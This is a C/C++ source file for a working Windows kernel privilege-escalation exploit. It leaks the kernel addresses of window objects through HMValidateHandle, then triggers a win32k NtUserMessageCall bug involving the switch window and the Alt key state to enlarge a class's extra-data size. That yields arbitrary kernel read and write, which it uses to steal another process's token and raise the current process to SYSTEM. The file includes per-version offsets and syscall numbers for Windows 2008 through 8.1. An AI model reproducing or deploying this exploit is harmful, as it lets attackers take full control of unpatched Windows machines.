#include <stdio.h>
#include <windows.h>

typedef struct _LARGE_UNICODE_STRING {
	ULONG Length;
	ULONG MaximumLength : 31;
	ULONG bAnsi : 1;
	PWSTR Buffer;
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;

extern "C" int NtUserMessageCall(HANDLE hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
extern "C" int NtUserDefSetText(HANDLE hWnd, PLARGE_UNICODE_STRING plstr);
extern "C" DWORD g_NtUserDefSetText_syscall = 0x1080, g_NtUserMessageCall_syscall = 0x1009;

// Uncomment this line to include debug output
//#define DEBUGTRACE

#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...)
{
	va_list args;
	char buffer[1024];
	va_start(args, format);
	vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
	strcat_s(buffer, sizeof(buffer), "\r\n");
	OutputDebugStringA(buffer);
	va_end(args); // Needed as according to http://www.cplusplus.com/reference/cstdarg/va_start/
                  // one should always call va_end in the same function one calls va_start.
}
#else
#define dprintf(...)
#endif

#define SPARY_TIMES 0x1000

#ifdef _WIN64
typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);
#else
typedef void*(__fastcall *lHMValidateHandle)(HANDLE h, int type);
#endif
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);

HWND g_hwnd = 0;
ULONG_PTR g_gap = 0;

lHMValidateHandle pHmValidateHandle = NULL;

BOOL FindHMValidateHandle() {
	HMODULE hUser32 = LoadLibraryA("user32.dll");
	if (hUser32 == NULL) {
		dprintf("Failed to load user32");
		return FALSE;
	}

	BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
	if (pIsMenu == NULL) {
		dprintf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
		return FALSE;
	}
	unsigned int uiHMValidateHandleOffset = 0;
	for (unsigned int i = 0; i < 0x1000; i++) {
		BYTE* test = pIsMenu + i;
		if (*test == 0xE8) {
			uiHMValidateHandleOffset = i + 1;
			break;
		}
	}
	if (uiHMValidateHandleOffset == 0) {
		dprintf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
		return FALSE;
	}

	unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
	unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
	//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
	pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
	return TRUE;
}

VOID
NTAPI
RtlInitLargeUnicodeString(IN OUT PLARGE_UNICODE_STRING DestinationString,
IN PCWSTR SourceString)
{
	ULONG DestSize;

	if (SourceString)
	{
		DestSize = wcslen(SourceString) * sizeof(WCHAR);
		DestinationString->Length = DestSize;
		DestinationString->MaximumLength = DestSize + sizeof(WCHAR);
	}
	else
	{
		DestinationString->Length = 0;
		DestinationString->MaximumLength = 0;
	}

	DestinationString->Buffer = (PWSTR)SourceString;
	DestinationString->bAnsi = FALSE;
}

void writedata(ULONG_PTR addr, ULONG_PTR data, ULONG size)
{
	SetClassLongPtr(g_hwnd, g_gap, addr);
	CHAR input[sizeof(ULONG_PTR)*2];
	RtlSecureZeroMemory(&input, sizeof(input));
	LARGE_UNICODE_STRING u;
	for (int i = 0; i<sizeof(ULONG_PTR); i++)
	{
		input[i] = (data >> (8 * i)) & 0xff;
	}

	RtlInitLargeUnicodeString(&u, (PCWSTR)input);
	u.Length = size;
	u.MaximumLength = size;
	NtUserDefSetText(g_hwnd, &u);
}

ULONG_PTR readdata(ULONG_PTR addr)
{
	SetClassLongPtr(g_hwnd, g_gap, addr);
	ULONG_PTR temp[2] = {0};
	InternalGetWindowText(g_hwnd, (LPWSTR)temp, sizeof(temp) - sizeof(WCHAR));
	return temp[0];
}

int exploit()
{
	ULONG_PTR off_tagWND_pself = 0x20, off_tagCLS_extra=0xa0, off_tagWND_tagCLS=0x98, off_tagWND_strName=0xe0;
	ULONG_PTR off_EPROCESS_Token = 0x348, off_KTHREAD_EPROCESS = 0x220, off_tagWND_parent=0x58, off_tagWND_pti=0x10;
	ULONG_PTR off_exp_tagCLS = 0;

	OSVERSIONINFOW osver;
	RtlSecureZeroMemory(&osver, sizeof(osver));
	osver.dwOSVersionInfoSize = sizeof(osver);
	RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion");
	pRtlGetVersion(&osver);
	if (osver.dwMajorVersion == 6) {
#ifdef _WIN64
		if (osver.dwMinorVersion == 0)//win2008
		{
			off_tagWND_pself = 0x20;
			off_tagCLS_extra = 0xa0;
			off_tagWND_tagCLS = 0x98;
			off_tagWND_strName = 0xe0;
			off_KTHREAD_EPROCESS = 0x210;
			off_tagWND_parent = 0x58;
			off_EPROCESS_Token = 0x208;
			off_tagWND_pti = 0x10;
			g_NtUserDefSetText_syscall = 0x1081;
			g_NtUserMessageCall_syscall = 0x1007;
			off_exp_tagCLS = 1; // stupid windows 2008
		}
		else if (osver.dwMinorVersion==1)
		{//win7 / win2008 R2
			off_tagWND_pself = 0x20;
			off_tagCLS_extra = 0xa0;
			off_tagWND_tagCLS = 0x98;
			off_tagWND_strName = 0xe0;
			off_KTHREAD_EPROCESS = 0x210;
			off_tagWND_parent = 0x58;
			off_EPROCESS_Token = 0x208;
			off_tagWND_pti = 0x10;
			g_NtUserDefSetText_syscall = 0x107f;
			g_NtUserMessageCall_syscall = 0x1007;
			off_exp_tagCLS = 1; // stupid windows 2008
		}
		else if (osver.dwMinorVersion == 2)
		{
			// win8/win2012
			off_tagWND_pself = 0x20;
			off_tagCLS_extra = 0xa0;
			off_tagWND_tagCLS = 0x98;
			off_tagWND_strName = 0xe0;
			off_EPROCESS_Token = 0x348;
			off_KTHREAD_EPROCESS = 0x220;
			off_tagWND_parent = 0x58;
			off_tagWND_pti = 0x10;
			g_NtUserDefSetText_syscall = 0x107f;
			g_NtUserMessageCall_syscall = 0x1008;
		}
		else if (osver.dwMinorVersion==3)
		{
			// win8.1 / win2012 R2
			off_tagWND_pself = 0x20;
			off_tagCLS_extra=0xa0;
			off_tagWND_tagCLS=0x98;
			off_tagWND_strName=0xe0;
			off_EPROCESS_Token = 0x348;
			off_KTHREAD_EPROCESS = 0x220;
			off_tagWND_parent=0x58;
			off_tagWND_pti=0x10;
			g_NtUserDefSetText_syscall = 0x1080;
			g_NtUserMessageCall_syscall = 0x1009;
		}
		else
		{
			dprintf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion);
			return -99;
		}

#else
		// too lazy to support x32 version
		if (osver.dwMinorVersion == 0)//win2008 
		{

		}
		else
		{//win7

		}

#endif
	}
	else
	{
		dprintf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion);
		return -99;
	}

	if (!FindHMValidateHandle()) {
		dprintf("[!] Failed to locate HmValidateHandle, exiting\n");
		return 1;
	}

	ULONG_PTR base_alloc = 0xc00000;

	ULONG_PTR target_addr = base_alloc << (8 * off_exp_tagCLS);

	ULONG_PTR temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (temp != target_addr)
	{
		dprintf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError());
		return 2;
	}

	target_addr = (base_alloc + 0x10000) << (8 * off_exp_tagCLS);
	temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (temp != target_addr)
	{
		dprintf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError());
		return 2;
	}

	const wchar_t CLASS_NAME[] = L"unamer";
	WNDCLASS wc;
	RtlSecureZeroMemory(&wc, sizeof(wc));

	HINSTANCE hself = GetModuleHandle(0);

	wc.lpfnWndProc = DefWindowProc;
	wc.hInstance = hself;
	wc.lpszClassName = CLASS_NAME;
	wc.cbWndExtra = 0x3000;
	wc.cbClsExtra = 0x3000;

	RegisterClass(&wc);
	HWND hwnd;

	ULONG_PTR tagWND = 0, tagCLS = 0;
	INT64 gap = 0;

	while (true)
	{

		hwnd = CreateWindowEx(0, CLASS_NAME, L"unamer", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL);

		if (hwnd == NULL)
		{
			dprintf("[!] CreateWindowEx error 0x%x!\n", GetLastError());
			return 3;
		}

		char* lpUserDesktopHeapWindow = (char*)pHmValidateHandle(hwnd, 1);
		tagWND = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_pself);
//		ULONG_PTR ulClientDelta = tagWND - (ULONG_PTR)lpUserDesktopHeapWindow;
		tagCLS = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_tagCLS);

		gap = tagWND - tagCLS;
		if (gap>0 && gap<0x100000)
		{
			break;
		}
	}

	dprintf("[*] tagWND: 0x%p, tagCLS:0x%p, gap:0x%llx\n", tagWND, tagCLS, gap);

	WNDCLASSEX wcx;
	RtlSecureZeroMemory(&wcx, sizeof(wcx));
	wcx.hInstance = hself;
	wcx.cbSize = sizeof(wcx);
	wcx.lpszClassName = L"SploitWnd";
	wcx.lpfnWndProc = DefWindowProc;
	wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0

	dprintf("[*] Registering window\n");
	ATOM wndAtom = RegisterClassEx(&wcx);
	if (wndAtom == INVALID_ATOM) {
		dprintf("[-] Failed registering SploitWnd window class\n");
		exit(-1);
	}

	dprintf("[*] Creating instance of this window\n");
	HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hself, NULL);
	if (sploitWnd == INVALID_HANDLE_VALUE) {
		dprintf("[-] Failed to create SploitWnd window\n");
		exit(-1);
	}
// 	ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself);
// 	dprintf("[*] tagWND: 0x%p, tagCLS: 0x%p,tagExpWnd: 0x%p, gap: 0x%llx\n", tagWND, tagCLS, tagExpWnd, gap);

	dprintf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window 0x%p\n", sploitWnd);
	NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

	dprintf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
	SetWindowLongPtr(sploitWnd, 0, tagCLS - off_exp_tagCLS);
	dprintf("[*] GetLastError = %x\n", GetLastError());

	dprintf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
	HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL);

	dprintf("[*] Simulating alt key press\n");
	BYTE keyState[256];
	GetKeyboardState(keyState);
	keyState[VK_MENU] |= 0x80;
	SetKeyboardState(keyState);
/*	keybd_event(VK_MENU, 0, 0, 0);*/
	dprintf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time\n");

	NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

	// now cbCLSExtra is very large
	// verify the oob read
	ULONG_PTR orig_name = SetClassLongPtr(hwnd, gap - off_tagCLS_extra + off_tagWND_strName, tagWND + off_tagWND_pself);
	ULONG_PTR testtagWND[2] = { 0 };
	InternalGetWindowText(hwnd, (LPWSTR)testtagWND, sizeof(ULONG_PTR));

	if (testtagWND[0] == tagWND)
	{
		ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself);
		dprintf("[*] tagWND: 0x%p\n", tagExpWnd);
		dprintf("[+] Exploit success!\n");
		// fix tagCLS
		g_hwnd = hwnd;
		g_gap = gap - off_tagCLS_extra + off_tagWND_strName;

		writedata(tagExpWnd + 0x40, 0,4);
		writedata(tagCLS + 0x68, (ULONG_PTR)hself, 8);
		writedata(tagCLS + 0x58, (ULONG_PTR)DefWindowProc, 8);

		ULONG_PTR token = readdata(readdata(readdata(readdata(readdata(tagWND + off_tagWND_parent) + off_tagWND_pti)) + off_KTHREAD_EPROCESS) + off_EPROCESS_Token);
		ULONG_PTR ep = readdata(readdata(readdata(tagWND + off_tagWND_pti)) + off_KTHREAD_EPROCESS); // self EPROCESS
		ULONG_PTR temp = readdata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR)); // fix WorkingSetPage
		writedata(ep + off_EPROCESS_Token, token, 8);
		writedata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR), temp,8);

		// fix tagWND
		SetClassLongPtr(hwnd, g_gap, orig_name);

		DestroyWindow(hwnd);
		g_hwnd = 0;
		DestroyWindow(sploitWnd);
		UnregisterClass(CLASS_NAME, 0);
		UnregisterClass(L"SploitWnd", 0);

		return 0;
	}
	else
	{
		dprintf("[!] Exploit fail, test:0x%p,tagWND:0x%p, error:0x%lx\n", testtagWND, tagWND, GetLastError());
		return -1;
	}
}